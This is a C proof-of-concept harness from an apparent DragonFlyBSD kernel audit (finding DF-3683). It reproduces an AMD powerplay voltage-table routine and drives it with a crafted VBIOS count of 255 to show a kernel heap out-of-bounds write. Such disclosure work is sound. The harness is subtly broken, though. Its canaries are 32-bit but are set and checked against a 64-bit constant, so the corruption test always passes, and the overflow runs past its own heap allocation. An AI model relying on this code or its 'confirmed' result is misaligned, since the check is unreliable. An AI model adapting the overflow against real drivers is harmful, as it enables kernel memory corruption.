⬢ DragonFlyBSD Kernel Audit
DF-3683 / svi2_v0_overflow.c
← back to finding ↓ download raw
/*
 * DF-3683 harness: verbatim reproduction of phm_get_svi2_voltage_table_v0()
 * from sys/dev/drm/amd/powerplay/hwmgr/smu7_hwmgr.c:219-239, driven with a
 * VBIOS-controlled V0 dependency-table count of 255 (u8 max, no validation in
 * processpptables.c get_clock_voltage_dependency_table:391).
 *
 * Struct layouts are copied 1:1 from:
 *   - ppatomctrl.h:200-213   (pp_atomctrl_voltage_table, entries[32])
 *   - smu7_hwmgr.h:250-253   (vddc/vddci/mvdd/vddgfx tables adjacent in the
 *                             heap-allocated struct smu7_hwmgr backend)
 * A canary field models the backend members that follow vddgfx_voltage_table
 * (mgcg_cgtt_local2 ... at smu7_hwmgr.h:254+).
 *
 * Expected: the loop writes entries[32..254] => 223 entries * 8 bytes =
 * 1784 bytes past the end of entries[32], fully corrupting the adjacent
 * vddci/mvdd/vddgfx tables and the canary (kernel heap OOB write).
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

#define PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES 32

struct pp_atomctrl_voltage_table_entry {
	uint16_t value;
	uint32_t smio_low;
};

struct pp_atomctrl_voltage_table {
	uint32_t count;
	uint32_t mask_low;
	uint32_t phase_delay;
	struct pp_atomctrl_voltage_table_entry entries[PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES];
};

/* V0 dependency table (processpptables.c:375-404 allocates count entries) */
struct dep_entry { unsigned long clk; unsigned long v; };
struct dep_table {
	unsigned long count;
	struct dep_entry entries[255];
};

/* model of struct smu7_hwmgr slice (smu7_hwmgr.h:250-254) */
struct backend_slice {
	struct pp_atomctrl_voltage_table vddc_voltage_table;
	struct pp_atomctrl_voltage_table vddci_voltage_table;
	struct pp_atomctrl_voltage_table mvdd_voltage_table;
	struct pp_atomctrl_voltage_table vddgfx_voltage_table;
	uint32_t mgcg_cgtt_local2;	/* first scalar after the four tables */
	uint32_t canary[31];
};

/* ---- verbatim kernel code (smu7_hwmgr.c:219-239), PP_ASSERT removed ---- */
static int phm_get_svi2_voltage_table_v0(struct pp_atomctrl_voltage_table *voltage_table,
		struct dep_table *voltage_dependency_table)
{
	uint32_t i;

	voltage_table->mask_low = 0;
	voltage_table->phase_delay = 0;
	voltage_table->count = voltage_dependency_table->count;

	for (i = 0; i < voltage_dependency_table->count; i++) {
		voltage_table->entries[i].value =
			voltage_dependency_table->entries[i].v;
		voltage_table->entries[i].smio_low = 0;
	}

	return 0;
}
/* ---- end verbatim ---- */

int main(void)
{
	struct backend_slice *be = calloc(1, sizeof(*be));
	struct dep_table *dep = calloc(1, sizeof(*dep));
	size_t i, oob_writes = 0;
	uint64_t first_oob_off = 0;

	printf("sizeof(pp_atomctrl_voltage_table)=%zu entries_capacity=%zu bytes\n",
	       sizeof(struct pp_atomctrl_voltage_table),
	       (size_t)PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES * sizeof(struct pp_atomctrl_voltage_table_entry));

	for (i = 0; i < 31; i++)
		be->canary[i] = 0xA5A5A5A5A5A5A5A5ULL;
	be->mgcg_cgtt_local2 = 0xA5A5A5A5;

	/* crafted VBIOS: 255 dependency entries with distinct voltages */
	dep->count = 255;
	for (i = 0; i < 255; i++) {
		dep->entries[i].clk = 10000 + i * 1000;
		dep->entries[i].v  = 600 + i;	/* mV, lands in entries[].value */
	}

	phm_get_svi2_voltage_table_v0(&be->vddc_voltage_table, dep);

	/* how far past entries[31] did the loop write? */
	for (i = PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES; i < 255; i++) {
		uint16_t got = *(uint16_t *)((char *)be->vddc_voltage_table.entries
				+ i * sizeof(struct pp_atomctrl_voltage_table_entry));
		if (got == (uint16_t)(600 + i)) {
			if (!oob_writes)
				first_oob_off = (char *)&be->vddc_voltage_table.entries[i]
					- (char *)&be->vddc_voltage_table.entries[PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES];
			oob_writes++;
		}
	}
	printf("out-of-bounds entry writes observed: %zu (first at +%llu bytes past entries[31])\n",
	       oob_writes, (unsigned long long)first_oob_off);

	printf("vddci_voltage_table.count corrupted: %u (expected 0)\n",
	       be->vddci_voltage_table.count);
	printf("vddci_voltage_table.entries[0].value: %u (expected 0)\n",
	       be->vddci_voltage_table.entries[0].value);
	printf("vddgfx_voltage_table.entries[0].value: %u (expected 0)\n",
	       be->vddgfx_voltage_table.entries[0].value);
	printf("mgcg_cgtt_local2 after overflow: 0x%x (expected 0xa5a5a5a5)\n",
	       be->mgcg_cgtt_local2);
	for (i = 0; i < 31; i++) {
		if (be->canary[i] != 0xA5A5A5A5A5A5A5A5ULL) {
			printf("canary[%zu] CORRUPTED: 0x%llx\n", i,
			       (unsigned long long)be->canary[i]);
		}
	}

	if (oob_writes >= 200 && be->canary[0] != 0xA5A5A5A5A5A5A5A5ULL) {
		printf("RESULT: OOB WRITE CONFIRMED - %zu forged entries written past "
		       "entries[32], clobbering vddci/mvdd/vddgfx tables and backend fields\n",
		       oob_writes);
		return 0;
	}
	fprintf(stderr, "RESULT: overflow not observed\n");
	return 1;
}